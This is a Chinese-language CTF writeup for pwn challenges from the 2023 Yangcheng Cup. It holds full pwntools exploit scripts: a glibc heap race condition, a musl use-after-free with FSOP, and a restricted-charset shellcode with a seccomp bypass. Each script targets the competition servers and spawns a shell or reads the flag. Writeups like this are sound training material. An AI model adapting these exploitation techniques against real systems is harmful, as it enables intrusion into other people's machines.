Single

2023 羊城杯 Pwn Writeup

你根本不在WACON,你在哪(

heap

一个很少见的多线程glibc堆题,既然是多线程,那么大概率是条件竞争

在edit功能中中有一个sleep(1)

alloc功能包含一个0x10的index_chunk和0x4F到0x68的data_chunk

由于是2.35版本的glibc,有fd异或保护,fd并不是实际的内存地址,因此直接edit条件竞争修改tcache的fd不可行

因此先分配一个0x68大小的chunk,在edit挂起时将其free掉,重新分配一个0x58大小的,就可以实现0x10大小的越界写

通过这个越界写修改下方的index_chunk的指针,就可以实现任意地址读写

注意thread 2的arena并不是main_arena而是某个内存页,其+0x8a0处存放着指向main_arena的指针,通过泄漏这个指针实现泄漏libc地址

EXP:

from pwn import*
r=remote("tcp.cloud.dasctf.com",26161)
#r=process('./heap')
context.log_level='debug'

def new(content):
	r.recv()
	r.sendline("1 "+content)
	
def show(idx):
	r.recv()
	r.sendline("2 "+str(idx))

def edit(idx,content):
	r.recv()
	r.sendline("3 "+str(idx)+":"+content)
	
def delete(idx):
	r.recv()
	r.sendline("4 "+str(idx))

new("a"*0x62)

edit(0,"b"*0x60+"\xa0\x08")

delete(0)

new("a"*0x58)
new("a"*0x58)

sleep(2)
show(1)

r.recvuntil("paper content: ")
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x219c80
success("libc_base: "+hex(libc_base))

libc=ELF("./libc-2.35.so")

environ=libc_base+libc.sym["environ"]
system=libc_base+libc.sym["system"]

new("a"*0x68)

edit(2,"b"*0x60+p64(libc_base+0x219058-0x50))

delete(2)

new("a"*0x58)
new("a"*0x58)

sleep(2)
edit(3,"a"*0x50+p64(system))
sleep(2)

#gdb.attach(r,"b *$rebase(0x18BD)")

r.recv()
r.sendline("/bin/sh")

r.interactive()

cookieBox

musl 1.1.24上的UAF 这个版本的musl没有unlink检查,直接覆盖ofl_head

在exit时的close_file中就可以实现FSOP

EXP:

from pwn import*
r=remote("tcp.cloud.dasctf.com",25781)
#r=process('./cookieBox')
context.log_level='debug'

def new(size,content):
	r.recvuntil(">>")
	r.sendline("1")
	r.recvline()
	r.sendline(str(size))
	r.recvline()
	r.send(content)
	
def delete(idx):
	r.recvuntil(">>")
	r.sendline("2")
	r.recvline()
	r.sendline(str(idx))
	
def edit(idx,content):
	r.recvuntil(">>")
	r.sendline("3")
	r.recvline()
	r.sendline(str(idx))
	r.recvline()
	r.send(content)
	
def show(idx):
	r.recvuntil(">>")
	r.sendline("4")
	r.recvline()
	r.sendline(str(idx))

def exit():
	r.recvuntil(">>")
	r.sendline("5")
	
new(0x6c,"a"*0x6c)
new(0x6c,"a"*0x6c)
new(0x6c,"a"*0x6c)

delete(1)
new(0x6c,"b"*0x6c)

delete(1)

show(3)
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x292b08
success("libc_base: "+hex(libc_base))

libc=ELF("./libc.so")

heap=libc_base+0x2954c0
ofl_head=libc_base+libc.sym["ofl_head"]
system=libc_base+libc.sym["system"]

payload=""
payload+="/bin/sh\x00"
payload+=p64(0)*0x5
payload+=p64(1)
payload+=p64(0)
payload+=p64(2)
payload+=p64(0)
payload+=p64(system)

new(0x9c,payload)

edit(3,p64(ofl_head-0x18)+p64(heap))

delete(2)

#gdb.attach(r)

exit()

r.interactive()

shellcode

一个仅允许0x4F到0x5F间字符的的shellcode,长度为0x10字节

这些字符几乎包含了所有的pop和push指令,可以实现大部分寄存器的控制

但是限制条件显然需要构造出syscall,通过read调用来加长shellcode以及逃出字符限制

read实现功能中有逻辑漏洞,可以多读取一个字节并且这个字节不受限制

并且由于未开启NX保护,shellcode保存在栈上,而0x10字节长度的shellcode空间后面是一个栈地址

考虑到syscall对应”\x05\x0F”,在栈地址的低位第二个字节为0x5时,配合多读取的一个字节的”\x0F”就可以实现syscall,下图是patch演示

因此最终这是一个1/256的爆破

特别注意到有一个比较特殊的seccomp沙箱,限制了syscall调用以及read和write时的fd

通过dup2调用绕过即可,dup2可以直接覆盖文件描述符而不需要close

(赛后听ln3师傅说,才知道开头的ye/no可以写syscall,不需要爆破)

EXP:

from pwn import*
context.log_level='debug'

while (True):
	try:
		#r=process('./shellcode')
		r=remote("tcp.cloud.dasctf.com",24850)
		shellcode="\x53\x5F\x53\x58\x59\x5A\x59\x59\x59\x59\x59\x59\x54\x5e"

		r.recvline()
		r.recvline()
		r.recvline()
		r.send("no")
		r.recvline()
		r.recvline()
		r.recvline()
		#gdb.attach(r,"b *$rebase(0x14F2)")
		r.send(shellcode.ljust(0x10,"\x53")+"\x0f")

		r.recvline()
		r.recvline()

		shellcode="\x90"*0xA+"\x41\x53\x5A\x57\x58\x0F\x05"

		r.send(shellcode.ljust(0x14,"\x00"))

		shellcode="flag\x00\x00\x00\x00"+"\x90"*0x8
		shellcode+="\x58\x58\x58\x54\x5F\x48\x31\xF6\x48\x31\xD2\xB0\x02\x0F\x05"
		shellcode+="\x48\x97\xB8\x21\x00\x00\x00\x48\x31\xF6\x0F\x05"
		shellcode+="\x48\x31\xFF\x54\x5E\x41\x53\x5A\x0F\x05"
		shellcode+="\xB0\x21\x66\xBF\x01\x00\xBE\x03\x00\x00\x00\x0F\x05"
		shellcode+="\xB0\x01\x66\xBF\x03\x00\x54\x5E\x0F\x05"

		r.send(shellcode)
		
		r.recv(timeout=5)
	except EOFError:     
		r.close()
		continue
	else:
		#gdb.attach(r)
		r.interactive()
		break

risky_login

RISC-V架构的栈溢出 wine ida64分析会dump,qemu环境太麻烦(

附件下载

文章有(2)条网友点评

  • 不是还有一题easyvm嘛

    • @eternity. 抱歉啊,比赛有点太久远了,已经找不到附件了

发表评论